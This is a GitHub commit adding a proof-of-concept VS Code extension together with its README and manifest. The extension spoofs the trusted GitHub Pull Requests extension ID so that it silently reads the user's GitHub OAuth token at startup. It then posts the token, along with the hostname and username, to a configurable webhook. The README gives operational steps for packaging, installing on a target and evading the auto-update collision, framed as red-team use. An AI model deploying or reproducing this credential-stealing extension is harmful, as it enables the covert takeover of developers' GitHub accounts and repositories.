Add files via upload

This commit is contained in:
João Paulo Assis
2026-07-30 13:16:12 -03:00
committed by GitHub
commit 48fbbff622
3 changed files with 185 additions and 0 deletions
+113
View File
@@ -0,0 +1,113 @@
# vscode-ghtoken-exfil
PoC VS Code extension that silently exfiltrates GitHub OAuth tokens by spoofing a product-trusted extension identity.
## Background
VS Code maintains a hardcoded allowlist (`trustedExtensionAuthAccess` in `product.json`) of extension IDs that bypass the per-extension consent prompt when requesting OAuth sessions. The identity check relies solely on the `publisher` and `name` fields declared in the extension manifest. No signature, Marketplace UUID, or provenance verification is performed.
This extension declares `publisher: "github"` and `name: "vscode-pull-request-github"`, producing the trusted ID `github.vscode-pull-request-github`. On startup, it silently retrieves any existing GitHub session and POSTs the OAuth token to a configurable webhook.
Full research write-up: [VS Code Trusts an Extension's Name. That Includes Your GitHub Session.](TODO)
Tested on VS Code 1.128.0 Stable. Reported to MSRC and closed as **By Design**.
## How It Works
```
VS Code starts
└─ onStartupFinished fires
└─ activate() calls getSession('github', [], { silent: true })
└─ isAccessAllowed() finds our ID in trustedExtensionAuthAccess
└─ returns existing AuthenticationSession with accessToken
└─ POST token + metadata to WEBHOOK_URL
```
No commands, no notifications, no Output Channel, no user interaction.
## Setup
### 1. Set the webhook URL
Edit `extension.js` and replace the placeholder:
```js
const WEBHOOK_URL = 'https://your-webhook.example.com/hook';
```
Supports both `http://` and `https://`. Self-signed certificates are accepted (`rejectUnauthorized: false`).
### 2. Customize appearance (optional)
In `package.json`, adjust `displayName` and `description` to fit your engagement scenario. The critical fields are `name` and `publisher` those produce the trusted ID and must not be changed.
```json
{
"name": "vscode-pull-request-github", // DO NOT CHANGE
"publisher": "github", // DO NOT CHANGE
"displayName": "Whatever You Want", // safe to change
"description": "Whatever you want" // safe to change
}
```
## Packaging as VSIX
Install the VS Code packaging tool:
```bash
npm install -g @vscode/vsce
```
Package the extension:
```bash
cd vscode-ghtoken-exfil
vsce package --allow-missing-repository --allow-package-all-secrets
```
I added the `--allow-package-all-secrets` flag because, since the README contains an example like `"token": "gho_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"`, `vsce` thinks it is a valid token and fails to complete the process, the flag makes it ignore this.
Output: `vscode-pull-request-github-0.0.1.vsix`
## Installation on Target
### CLI
```bash
code --install-extension vscode-pull-request-github-0.0.1.vsix
```
### Manual
Open VS Code > Extensions sidebar > `...` menu > **Install from VSIX...**
## Webhook Payload
The POST body is JSON:
```json
{
"token": "gho_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"scopes": ["read:user", "user:email", "repo", "workflow"],
"account": "github-username",
"sessionId": "...",
"hostname": "WORKSTATION-01",
"username": "jdoe",
"platform": "win32",
"timestamp": "2025-07-30T14:30:00.000Z"
}
```
## Operational Notes
| Topic | Detail |
|---|---|
| **Auto-update collision** | If the official `GitHub Pull Requests` extension is installed from the Marketplace, VS Code may treat it as an update and replace this VSIX. Uninstall the official extension first, or disable auto-update for extensions. |
| **Session must exist** | This extension reuses an existing GitHub session. If the user hasn't signed into GitHub in VS Code, `getSession` returns `undefined` and nothing is sent. |
| **Scopes** | The token carries whatever scopes the existing session has. Common: `repo`, `workflow`, `read:user`, `user:email`. |
| **No persistence** | The exfil runs once per VS Code startup. For repeated collection, the operator should plan around VS Code restarts or window reloads. |
| **Detection surface** | Outbound HTTP(S) POST from the VS Code process. No filesystem artifacts beyond the installed extension directory. |
## Disclaimer
This tool is intended for **authorized security testing**, **red team engagements**, and **educational purposes** only. Only use it with proper authorization against systems you have explicit permission to test. The author are not responsible for misuse.
+55
View File
@@ -0,0 +1,55 @@
const vscode = require('vscode');
const https = require('https');
const http = require('http');
const os = require('os');
const WEBHOOK_URL = 'https://your-webhook.example.com/hook';
function post(payload) {
const body = JSON.stringify(payload);
const url = new URL(WEBHOOK_URL);
const transport = url.protocol === 'https:' ? https : http;
return new Promise(resolve => {
const req = transport.request({
hostname: url.hostname,
port: url.port || (url.protocol === 'https:' ? 443 : 80),
path: url.pathname + url.search,
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(body),
'User-Agent': 'vscode-extension'
},
rejectUnauthorized: false
}, res => {
res.resume();
resolve(res.statusCode);
});
req.setTimeout(10000, () => req.destroy());
req.on('error', () => resolve(null));
req.write(body);
req.end();
});
}
async function activate() {
const session = await vscode.authentication.getSession('github', [], { silent: true });
if (!session) return;
await post({
token: session.accessToken,
scopes: session.scopes,
account: session.account.label,
sessionId: session.id,
hostname: os.hostname(),
username: os.userInfo().username,
platform: os.platform(),
timestamp: new Date().toISOString()
});
}
function deactivate() {}
module.exports = { activate, deactivate };
+17
View File
@@ -0,0 +1,17 @@
{
"name": "vscode-pull-request-github",
"displayName": "GitHub Pull Requests",
"description": "Pull Request and Issue Provider for GitHub",
"version": "0.0.1",
"publisher": "github",
"engines": {
"vscode": "^1.97.0"
},
"categories": [
"Other"
],
"activationEvents": [
"onStartupFinished"
],
"main": "./extension.js"
}